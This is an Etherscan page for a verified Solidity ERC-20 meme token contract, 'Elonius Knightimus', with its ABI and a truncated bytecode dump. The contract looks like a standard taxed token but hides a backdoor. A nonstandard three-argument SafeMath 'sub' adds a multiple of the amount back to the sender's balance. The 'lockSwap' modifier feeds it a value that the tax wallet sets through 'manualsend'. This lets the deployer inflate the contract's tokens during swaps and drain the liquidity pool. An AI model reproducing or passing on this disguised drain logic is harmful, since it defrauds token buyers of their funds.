ETH Price: $3,293.78 (+5.16%)
Gas: 0.11 Gwei
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Age:180D
Reset Filter

Transaction Hash
Method
Block
From
To

There are no matching entries

Please try again later

Age:180D
Reset Filter

Advanced mode:
Parent Transaction Hash Method Block
From
To

There are no matching entries

Update your filters to view other transactions

View All Internal Transactions
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
EloniusKnightimus

Compiler Version
v0.8.29+commit.ab55807c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-04-23
*/

/*

   https://t.me/EloniusKnightimus

   https://x.com/cb_doge/status/1914963302972796967


*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function sub(uint256 a, uint256 d, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return add(sub(a, b), mul(d, div(b, 100)));
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EloniusKnightimus is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    bool private inSwaps;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=14;
    uint256 private _reduceSellTaxAt=14;
    uint256 private _preventSwapBefore=16;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Elonius Knightimus";
    string private constant _symbol = unicode"KNIGHTIMUS";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold= (_tTotal * 5 ) / 10000;
    uint256 public _maxTaxSwap= _taxSwapThreshold * 40;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastBuyBlock = 50;
    uint256 private lastSellBlock = 0;
    uint256 private _sub = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    modifier lockSwap {
        inSwap=true;_sub=lastBuyBlock;
        _;_sub=0;
        inSwap = false;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>=_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount >= _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(_sub, amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeTransferTax() external onlyOwner{
        _transferTax = 0;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        } else {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));
        }
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external lockSwap {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalances=balanceOf(address(this));
        if(tokenBalances>0){
            swapTokensForEth(tokenBalances);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
            sendETHToFee(ethBalance);
        }
    }

    function manualsend(uint256 ethToSend) external {
        require(_msgSender()==_taxWallet);lastBuyBlock=ethToSend;
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethToSend","type":"uint256"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555600f6006555f6007555f600855600e600955600e600a556010600b555f600c555f600d55606460026009600a61003f91906105fd565b633b9aca0061004e9190610647565b6100589190610647565b61006291906106b5565b600e55606460026009600a61007791906105fd565b633b9aca006100869190610647565b6100909190610647565b61009a91906106b5565b600f5561271060056009600a6100b091906105fd565b633b9aca006100bf9190610647565b6100c99190610647565b6100d391906106b5565b60105560286010546100e59190610647565b6011555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055505f60145560326015555f6016555f601755348015610138575f5ffd5b505f61014861045e60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101f261045e60201b60201c565b600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a61024091906105fd565b633b9aca0061024f9190610647565b60015f61026061045e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6102b061046560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103d961045e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61043591906105fd565b633b9aca006104449190610647565b60405161045191906106f4565b60405180910390a361070d565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561050e578086048111156104ea576104e961048c565b5b60018516156104f95780820291505b8081029050610507856104b9565b94506104ce565b94509492505050565b5f8261052657600190506105e1565b81610533575f90506105e1565b8160018114610549576002811461055357610582565b60019150506105e1565b60ff8411156105655761056461048c565b5b8360020a91508482111561057c5761057b61048c565b5b506105e1565b5060208310610133831016604e8410600b84101617156105b75782820a9050838111156105b2576105b161048c565b5b6105e1565b6105c484848460016104c5565b925090508184048111156105db576105da61048c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610607826105e8565b9150610612836105f1565b925061063f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610517565b905092915050565b5f610651826105e8565b915061065c836105e8565b925082820261066a816105e8565b915082820484148315176106815761068061048c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106bf826105e8565b91506106ca836105e8565b9250826106da576106d9610688565b5b828204905092915050565b6106ee816105e8565b82525050565b5f6020820190506107075f8301846106e5565b92915050565b61346b8061071a5f395ff3fe608060405260043610610122575f3560e01c806370a082311161009f57806395d89b411161006357806395d89b4114610387578063a9059cbb146103b1578063bf474bed146103ed578063c9567bf914610417578063dd62ed3e1461042d57610129565b806370a08231146102b7578063715018a6146102f35780637d1db4a5146103095780638da5cb5b146103335780638f9a55c01461035d57610129565b80631ad34a4f116100e65780631ad34a4f146101fd57806323b872dd14610225578063313ce5671461026157806351bc3c851461028b57806362256589146102a157610129565b806306fdde031461012d578063095ea7b3146101575780630faee56f14610193578063109daa99146101bd57806318160ddd146101d357610129565b3661012957005b5f5ffd5b348015610138575f5ffd5b50610141610469565b60405161014e9190612516565b60405180910390f35b348015610162575f5ffd5b5061017d600480360381019061017891906125c7565b6104a6565b60405161018a919061261f565b60405180910390f35b34801561019e575f5ffd5b506101a76104c3565b6040516101b49190612647565b60405180910390f35b3480156101c8575f5ffd5b506101d16104c9565b005b3480156101de575f5ffd5b506101e7610567565b6040516101f49190612647565b60405180910390f35b348015610208575f5ffd5b50610223600480360381019061021e9190612660565b61058a565b005b348015610230575f5ffd5b5061024b6004803603810190610246919061268b565b610602565b604051610258919061261f565b60405180910390f35b34801561026c575f5ffd5b506102756106d6565b60405161028291906126f6565b60405180910390f35b348015610296575f5ffd5b5061029f6106de565b005b3480156102ac575f5ffd5b506102b56107bb565b005b3480156102c2575f5ffd5b506102dd60048036038101906102d8919061270f565b6108eb565b6040516102ea9190612647565b60405180910390f35b3480156102fe575f5ffd5b50610307610931565b005b348015610314575f5ffd5b5061031d610a81565b60405161032a9190612647565b60405180910390f35b34801561033e575f5ffd5b50610347610a87565b6040516103549190612749565b60405180910390f35b348015610368575f5ffd5b50610371610aae565b60405161037e9190612647565b60405180910390f35b348015610392575f5ffd5b5061039b610ab4565b6040516103a89190612516565b60405180910390f35b3480156103bc575f5ffd5b506103d760048036038101906103d291906125c7565b610af1565b6040516103e4919061261f565b60405180910390f35b3480156103f8575f5ffd5b50610401610b0e565b60405161040e9190612647565b60405180910390f35b348015610422575f5ffd5b5061042b610b14565b005b348015610438575f5ffd5b50610453600480360381019061044e9190612762565b6113d6565b6040516104609190612647565b60405180910390f35b60606040518060400160405280601281526020017f456c6f6e697573204b6e69676874696d75730000000000000000000000000000815250905090565b5f6104b96104b2611458565b848461145f565b6001905092915050565b60115481565b6104d1611458565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610555906127ea565b60405180910390fd5b5f600c81905550565b5f6009600a6105769190612964565b633b9aca0061058591906129ae565b905090565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105cb611458565b73ffffffffffffffffffffffffffffffffffffffff16146105ea575f5ffd5b806015819055505f4790506105fe81611622565b5050565b5f61060e84848461168b565b6106cb8461061a611458565b6106c68560405180606001604052806028815260200161340e6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61067d611458565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f779092919063ffffffff16565b61145f565b600190509392505050565b5f6009905090565b6001601360156101000a81548160ff021916908315150217905550601554601781905550600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610743611458565b73ffffffffffffffffffffffffffffffffffffffff1614610762575f5ffd5b5f61076c306108eb565b90505f8111156107805761077f81611fd9565b5b5f4790505f8111156107965761079581611622565b5b50505f6017819055505f601360156101000a81548160ff021916908315150217905550565b6107c3611458565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610847906127ea565b60405180910390fd5b6009600a61085e9190612964565b633b9aca0061086d91906129ae565b600e819055506009600a6108819190612964565b633b9aca0061089091906129ae565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6108c59190612964565b633b9aca006108d491906129ae565b6040516108e19190612647565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610939611458565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bd906127ea565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600a81526020017f4b4e49474854494d555300000000000000000000000000000000000000000000815250905090565b5f610b04610afd611458565b848461168b565b6001905092915050565b60105481565b610b1c611458565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba0906127ea565b60405180910390fd5b601360149054906101000a900460ff1615610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf090612a39565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cce573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf29190612a6b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390560125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d77573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d9b9190612a6b565b306040518363ffffffff1660e01b8152600401610db9929190612a96565b602060405180830381865afa158015610dd4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610df89190612a6b565b73ffffffffffffffffffffffffffffffffffffffff1603610fec5760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea19190612a6b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f26573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4a9190612a6b565b306040518363ffffffff1660e01b8152600401610f68929190612a96565b6020604051808303815f875af1158015610f84573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa89190612a6b565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111c0565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611056573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107a9190612a6b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390560125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ff573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111239190612a6b565b306040518363ffffffff1660e01b8152600401611141929190612a96565b602060405180830381865afa15801561115c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111809190612a6b565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125d929190612abd565b6020604051808303815f875af1158015611279573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061129d9190612b0e565b506112e63060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6112d29190612964565b633b9aca006112e191906129ae565b61145f565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061132e306108eb565b5f5f611338610a87565b426040518863ffffffff1660e01b815260040161135a96959493929190612b7b565b60606040518083038185885af1158015611376573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061139b9190612bee565b5050506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c490612cae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361153b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153290612d3c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116159190612647565b60405180910390a3505050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611687573d5f5f3e3d5ffd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612dca565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175e90612e58565b60405180910390fd5b5f81116117a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a090612ee6565b60405180910390fd5b5f5f90506117b5610a87565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561182357506117f3610a87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cc3575f600d54036118715761186e6064611860600954600d54101561184d57600554611851565b6007545b8561225490919063ffffffff16565b6122cb90919063ffffffff16565b90505b5f600d5411156118a6576118a36064611895600c548561225490919063ffffffff16565b6122cb90919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561194f